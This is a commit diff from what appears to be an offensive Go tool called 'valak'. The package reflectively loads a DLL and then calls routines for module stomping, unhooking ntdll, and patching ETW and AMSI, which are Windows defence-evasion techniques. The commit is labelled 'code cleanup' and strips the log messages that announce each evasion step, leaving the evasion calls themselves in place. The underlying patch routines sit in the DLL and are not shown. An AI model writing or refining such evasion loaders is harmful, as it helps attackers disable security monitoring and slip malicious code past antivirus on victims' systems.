code cleanup: remove dead api vars, unused imports, log strings
This commit is contained in:
+1
-9
@@ -7,7 +7,6 @@ package valak
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"log"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
@@ -192,7 +191,6 @@ func loadDLL() error {
|
||||
syscall.SyscallN(procInit)
|
||||
}
|
||||
|
||||
log.Printf("[valak] DLL reflectively loaded (%d bytes)", len(data))
|
||||
dllLoaded = true
|
||||
return nil
|
||||
}
|
||||
@@ -379,23 +377,17 @@ func PatchAll() {
|
||||
if procStomp != 0 {
|
||||
syscall.SyscallN(procStomp, dllBase)
|
||||
if procIsRelocated != 0 {
|
||||
r, _, _ := syscall.SyscallN(procIsRelocated)
|
||||
if r != 0 {
|
||||
log.Printf("[valak] module stomped")
|
||||
}
|
||||
_, _, _ = syscall.SyscallN(procIsRelocated)
|
||||
}
|
||||
}
|
||||
if procUnhookNtdll != 0 {
|
||||
syscall.SyscallN(procUnhookNtdll)
|
||||
log.Printf("[valak] ntdll unhooked")
|
||||
}
|
||||
if procPatchETW != 0 {
|
||||
syscall.SyscallN(procPatchETW)
|
||||
log.Printf("[valak] ETW patched")
|
||||
}
|
||||
if procPatchAMSI != 0 {
|
||||
syscall.SyscallN(procPatchAMSI)
|
||||
log.Printf("[valak] AMSI patched")
|
||||
}
|
||||
InitText()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user